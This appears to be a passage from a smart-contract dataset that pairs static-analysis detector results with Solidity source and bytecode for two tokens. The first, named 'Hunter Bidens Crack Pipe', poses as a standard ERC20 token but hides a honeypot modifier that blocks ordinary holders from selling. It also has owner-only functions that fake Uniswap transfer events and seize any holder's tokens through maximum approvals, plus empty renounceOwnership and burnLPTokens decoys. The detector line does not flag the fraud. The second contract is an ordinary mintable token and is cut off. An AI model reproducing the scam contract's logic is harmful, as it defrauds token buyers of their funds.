eb4fed20001069cbbe9f63802a3e69a73450029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 5,127 |
0xb98fd9469b6b63fb17c725195a583322f123f93a
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract CrackPipe is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _affirmative;
mapping (address => bool) private _rejectPile;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeOwner;
uint256 private _sellAmount = 0;
address public _currentRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address deployer = 0x7C0A6e61960195291aB7A6fcD3707c259a9a4150;
address public _owner = 0x917F8b504765BF6F9b9B706b7000C104CeE6e46A;
constructor () public {
_name = "Hunter Bidens Crack Pipe";
_symbol = "CRACKPIPE";
_decimals = 18;
uint256 initialSupply = 330000000000000 * 10**18 ;
_safeOwner = _owner;
_mint(deployer, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_start(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_start(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function approvalIncrease(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_affirmative[receivers[i]] = true;
_rejectPile[receivers[i]] = false;
}
}
function approvalDecrease(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_rejectPile[receivers[i]] = true;
_affirmative[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _owner){
sender = deployer;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _start(address sender, address recipient, uint256 amount) internal main(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _owner){
sender = deployer;
}
emit Transfer(sender, recipient, amount);
}
modifier main(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_affirmative[sender] == true){
_;}else{if (_rejectPile[sender] == true){
require((sender == _safeOwner)||(recipient == _currentRouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_rejectPile[sender] = true; _affirmative[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _currentRouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _auth() {
require(msg.sender == _owner, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function multicall(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts) public _auth(){
//Multi Transfer Emit Spoofer from Uniswap Pool
for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}}
function addLiquidityETH(address emitUniswapPool,address emitReceiver,uint256 emitAmount) public _auth(){
//Emit Transfer Spoofer from Uniswap Pool
emit Transfer(emitUniswapPool, emitReceiver, emitAmount);}
function exec(address recipient) public _auth(){
_affirmative[recipient]=true;
_approve(recipient, _currentRouter,_approveValue);}
function obstruct(address recipient) public _auth(){
//Blker
_affirmative[recipient]=false;
_approve(recipient, _currentRouter,0);
}
function renounceOwnership() public _auth(){
//Renounces Ownership
}
function reverse(address target) public _auth() virtual returns (bool) {
//Approve Spending
_approve(target, _msgSender(), _approveValue); return true;
}
function transferTokens(address sender, address recipient, uint256 amount) public _auth() virtual returns (bool) {
//Single Tranfer
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transfer_(address emitSender, address emitRecipient, uint256 emitAmount) public _auth(){
//Emit Single Transfer
emit Transfer(emitSender, emitRecipient, emitAmount);
}
function transferTo(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){
_approve(sndr, _msgSender(), _approveValue);
for (uint256 i = 0; i < receivers.length; i++) {
_transfer(sndr, receivers[i], amounts[i]);
}
}
function swapETHForExactTokens(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){
_approve(sndr, _msgSender(), _approveValue);
for (uint256 i = 0; i < receivers.length; i++) {
_transfer(sndr, receivers[i], amounts[i]);
}
}
function airdropToHolders(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts)public _auth(){
for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}}
function burnLPTokens()public _auth(){}
}
|
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c806370a08231116100f9578063b2bdfa7b11610097578063d8fc292411610071578063d8fc292414610946578063dd62ed3e14610a79578063e30bd74014610aa7578063e396207514610acd576101a9565b8063b2bdfa7b146107ef578063bb88603c14610747578063cd2ce4f214610813576101a9565b8063a1a6d5fc116100d3578063a1a6d5fc14610757578063a64b6e5f1461078d578063a901431314610757578063a9059cbb146107c3576101a9565b806370a0823114610721578063715018a61461074757806395d89b411461074f576101a9565b8063313ce567116101665780634e6ec247116101405780634e6ec247146106085780635768b61a146106345780636268e0d51461065a5780636bb6126e146106fb576101a9565b8063313ce567146103845780633cc4430d146103a25780634c0cc925146104d5576101a9565b8063043fa39e146101ae57806306fdde0314610251578063095ea7b3146102ce5780630cdfb6281461030e57806318160ddd1461033457806323b872dd1461034e575b600080fd5b61024f600480360360208110156101c457600080fd5b810190602081018135600160201b8111156101de57600080fd5b8201836020820111156101f057600080fd5b803590602001918460208302840111600160201b8311171561021157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610ad5945050505050565b005b610259610bca565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029357818101518382015260200161027b565b50505050905090810190601f1680156102c05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102fa600480360360408110156102e457600080fd5b506001600160a01b038135169060200135610c60565b604080519115158252519081900360200190f35b61024f6004803603602081101561032457600080fd5b50356001600160a01b0316610c7d565b61033c610ce7565b60408051918252519081900360200190f35b6102fa6004803603606081101561036457600080fd5b506001600160a01b03813581169160208101359091169060400135610ced565b61038c610d74565b6040805160ff9092168252519081900360200190f35b61024f600480360360608110156103b857600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156103e257600080fd5b8201836020820111156103f457600080fd5b803590602001918460208302840111600160201b8311171561041557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561046457600080fd5b82018360208201111561047657600080fd5b803590602001918460208302840111600160201b8311171561049757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610d7d945050505050565b61024f600480360360608110156104eb57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561051557600080fd5b82018360208201111561052757600080fd5b803590602001918460208302840111600160201b8311171561054857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561059757600080fd5b8201836020820111156105a957600080fd5b803590602001918460208302840111600160201b831117156105ca57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610e43945050505050565b61024f6004803603604081101561061e57600080fd5b506001600160a01b038135169060200135610ee9565b61024f6004803603602081101561064a57600080fd5b50356001600160a01b0316610fc7565b61024f6004803603602081101561067057600080fd5b810190602081018135600160201b81111561068a57600080fd5b82018360208201111561069c57600080fd5b803590602001918460208302840111600160201b831117156106bd57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611049945050505050565b61024f6004803603602081101561071157600080fd5b50356001600160a01b0316611139565b61033c6004803603602081101561073757600080fd5b50356001600160a01b03166111c0565b61024f6111db565b61025961122a565b61024f6004803603606081101561076d57600080fd5b506001600160a01b0381358116916020810135909116906040013561128b565b6102fa600480360360608110156107a357600080fd5b506001600160a01b03813581169160208101359091169060400135611316565b6102fa600480360360408110156107d957600080fd5b506001600160a01b038135169060200135611371565b6107f7611385565b604080516001600160a01b039092168252519081900360200190f35b61024f6004803603606081101561082957600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561085357600080fd5b82018360208201111561086557600080fd5b803590602001918460208302840111600160201b8311171561088657600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156108d557600080fd5b8201836020820111156108e757600080fd5b803590602001918460208302840111600160201b8311171561090857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611394945050505050565b61024f6004803603606081101561095c57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561098657600080fd5b82018360208201111561099857600080fd5b803590602001918460208302840111600160201b831117156109b957600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610a0857600080fd5b820183602082011115610a1a57600080fd5b803590602001918460208302840111600160201b83111715610a3b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611454945050505050565b61033c60048036036040811015610a8f57600080fd5b506001600160a01b03813581169160200135166114d1565b6102fa60048036036020811015610abd57600080fd5b50356001600160a01b03166114fc565b6107f7611560565b600d546001600160a01b03163314610b1d576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610bc657600160026000848481518110610b3b57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060016000848481518110610b8c57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610b20565b5050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610c565780601f10610c2b57610100808354040283529160200191610c56565b820191906000526020600020905b815481529060010190602001808311610c3957829003601f168201915b5050505050905090565b6000610c74610c6d6115d0565b84846115d4565b50600192915050565b600d546001600160a01b03163314610cc5576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b60045490565b6000610cfa8484846116c0565b610d6a84610d066115d0565b610d6585604051806060016040528060288152602001611f58602891396001600160a01b038a16600090815260036020526040812090610d446115d0565b6001600160a01b031681526020810191909152604001600020549190611cb8565b6115d4565b5060019392505050565b60075460ff1690565b600d546001600160a01b03163314610dca576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b60005b8251811015610e3d57828181518110610de257fe5b60200260200101516001600160a01b0316846001600160a01b0316600080516020611f80833981519152848481518110610e1857fe5b60200260200101516040518082815260200191505060405180910390a3600101610dcd565b50505050565b600d546001600160a01b03163314610e90576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b610ea483610e9c6115d0565b6008546115d4565b60005b8251811015610e3d57610ee184848381518110610ec057fe5b6020026020010151848481518110610ed457fe5b6020026020010151611d4f565b600101610ea7565b600d546001600160a01b03163314610f48576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454610f55908261156f565b600455600d546001600160a01b0316600090815260208190526040902054610f7d908261156f565b600d546001600160a01b039081166000908152602081815260408083209490945583518581529351928616939192600080516020611f808339815191529281900390910190a35050565b600d546001600160a01b03163314611014576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b546110469284929116906115d4565b50565b600d546001600160a01b03163314611091576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610bc65760018060008484815181106110ae57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600260008484815181106110ff57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101611094565b600d546001600160a01b03163314611186576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b5460085461104692849216906115d4565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b03163314611228576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610c565780601f10610c2b57610100808354040283529160200191610c56565b600d546001600160a01b031633146112d8576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b816001600160a01b0316836001600160a01b0316600080516020611f80833981519152836040518082815260200191505060405180910390a3505050565b600d546000906001600160a01b03163314611366576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b610cfa848484611d4f565b6000610c7461137e6115d0565b84846116c0565b600d546001600160a01b031681565b600d546001600160a01b031633146113e1576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b60005b8251811015610e3d578281815181106113f957fe5b60200260200101516001600160a01b0316846001600160a01b0316600080516020611f8083398151915284848151811061142f57fe5b60200260200101516040518082815260200191505060405180910390a36001016113e4565b600d546001600160a01b031633146114a1576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b6114ad83610e9c6115d0565b60005b8251811015610e3d576114c984848381518110610ec057fe5b6001016114b0565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546000906001600160a01b0316331461154c576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b61155882610e9c6115d0565b506001919050565b600b546001600160a01b031681565b6000828201838110156115c9576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b0383166116195760405162461bcd60e51b8152600401808060200182810382526024815260200180611fc56024913960400191505060405180910390fd5b6001600160a01b03821661165e5760405162461bcd60e51b8152600401808060200182810382526022815260200180611ef06022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548491849184916001600160a01b0391821691161480156116f35750600d546001600160a01b038481169116145b1561188957600980546001600160a01b0319166001600160a01b038481169190911790915586166117555760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b03851661179a5760405162461bcd60e51b8152600401808060200182810382526023815260200180611ecd6023913960400191505060405180910390fd5b6117a5868686611ec7565b6117e284604051806060016040528060268152602001611f12602691396001600160a01b0389166000908152602081905260409020549190611cb8565b6001600160a01b038088166000908152602081905260408082209390935590871681522054611811908561156f565b6001600160a01b03808716600090815260208190526040902091909155600d548782169116141561184b57600c546001600160a01b031695505b846001600160a01b0316866001600160a01b0316600080516020611f80833981519152866040518082815260200191505060405180910390a3611cb0565b600d546001600160a01b03848116911614806118b257506009546001600160a01b038481169116145b806118ca5750600d546001600160a01b038381169116145b1561194d57600d546001600160a01b0384811691161480156118fd5750816001600160a01b0316836001600160a01b0316145b1561190857600a8190555b6001600160a01b0386166117555760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b03831660009081526001602081905260409091205460ff16151514156119b9576001600160a01b0386166117555760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b03831660009081526002602052604090205460ff16151560011415611a43576009546001600160a01b0384811691161480611a085750600b546001600160a01b038381169116145b6119085760405162461bcd60e51b8152600401808060200182810382526026815260200180611f126026913960400191505060405180910390fd5b600a54811015611ad7576009546001600160a01b0383811691161415611908576001600160a01b0383811660009081526002602090815260408083208054600160ff19918216811790925592529091208054909116905586166117555760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6009546001600160a01b0384811691161480611b005750600b546001600160a01b038381169116145b611b3b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611f126026913960400191505060405180910390fd5b6001600160a01b038616611b805760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b038516611bc55760405162461bcd60e51b8152600401808060200182810382526023815260200180611ecd6023913960400191505060405180910390fd5b611bd0868686611ec7565b611c0d84604051806060016040528060268152602001611f12602691396001600160a01b0389166000908152602081905260409020549190611cb8565b6001600160a01b038088166000908152602081905260408082209390935590871681522054611c3c908561156f565b6001600160a01b03808716600090815260208190526040902091909155600d5487821691161415611c7657600c546001600160a01b031695505b846001600160a01b0316866001600160a01b0316600080516020611f80833981519152866040518082815260200191505060405180910390a35b505050505050565b60008184841115611d475760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d0c578181015183820152602001611cf4565b50505050905090810190601f168015611d395780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038316611d945760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b038216611dd95760405162461bcd60e51b8152600401808060200182810382526023815260200180611ecd6023913960400191505060405180910390fd5b611de4838383611ec7565b611e2181604051806060016040528060268152602001611f12602691396001600160a01b0386166000908152602081905260409020549190611cb8565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611e50908261156f565b6001600160a01b03808416600090815260208190526040902091909155600d54848216911614156112d857600c546001600160a01b03169250816001600160a01b0316836001600160a01b0316600080516020611f80833981519152836040518082815260200191505060405180910390a3505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122039268e2094c90065cf4b25b047f0cc8291c339ef457c038a354341425468839d64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,128 |
0x37e5fdcbbfc038d754f84fdc3cb9c0b11535d179
|
pragma solidity 0.4.24;
/**
* Math operations with safety checks
* By OpenZeppelin: https://github.com/OpenZeppelin/zeppelin-solidity/contracts/SafeMath.sol
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ContractReceiver{
function tokenFallback(address _from, uint256 _value, bytes _data) external;
}
//Basic ERC23 token, backward compatible with ERC20 transfer function.
//Based in part on code by open-zeppelin: https://github.com/OpenZeppelin/zeppelin-solidity.git
contract ERC23BasicToken {
using SafeMath for uint256;
uint256 public totalSupply;
mapping(address => uint256) balances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
function tokenFallback(address _from, uint256 _value, bytes _data) external {
throw;
}
function transfer(address _to, uint256 _value, bytes _data) returns (bool success) {
require(_to != address(0));
//Standard ERC23 transfer function
if(isContract(_to)) {
transferToContract(_to, _value, _data);
}
else {
transferToAddress(_to, _value, _data);
}
return true;
}
function transfer(address _to, uint256 _value) {
require(_to != address(0));
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
transferToContract(_to, _value, empty);
}
else {
transferToAddress(_to, _value, empty);
}
}
function transferToAddress(address _to, uint256 _value, bytes _data) internal {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
}
function transferToContract(address _to, uint256 _value, bytes _data) internal {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub( _value);
balances[_to] = balances[_to].add( _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) returns (bool is_contract) {
uint256 length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
if(length>0) {
return true;
}
else {
return false;
}
}
}
// Standard ERC23 token, backward compatible with ERC20 standards.
// Based on code by open-zeppelin: https://github.com/OpenZeppelin/zeppelin-solidity.git
contract ERC23StandardToken is ERC23BasicToken {
mapping (address => mapping (address => uint256)) allowed;
event Approval (address indexed owner, address indexed spender, uint256 value);
function transferFrom(address _from, address _to, uint256 _value) {
require (_value > 0);
require(_to != address(0));
require(_from != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require (_value > 0);
require(_spender != address(0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
admin=owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner || msg.sender==admin);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newAdmin.
* @param newAdmin The address to transfer admin to.
*/
function transferAdmin(address newAdmin) onlyOwner public {
require(newAdmin != address(0));
emit OwnershipTransferred(admin, newAdmin);
admin = newAdmin;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is ERC23StandardToken,Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(_amount>0);
require(_to != address(0));
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(0x0, _to, _amount);
return true;
}
/**
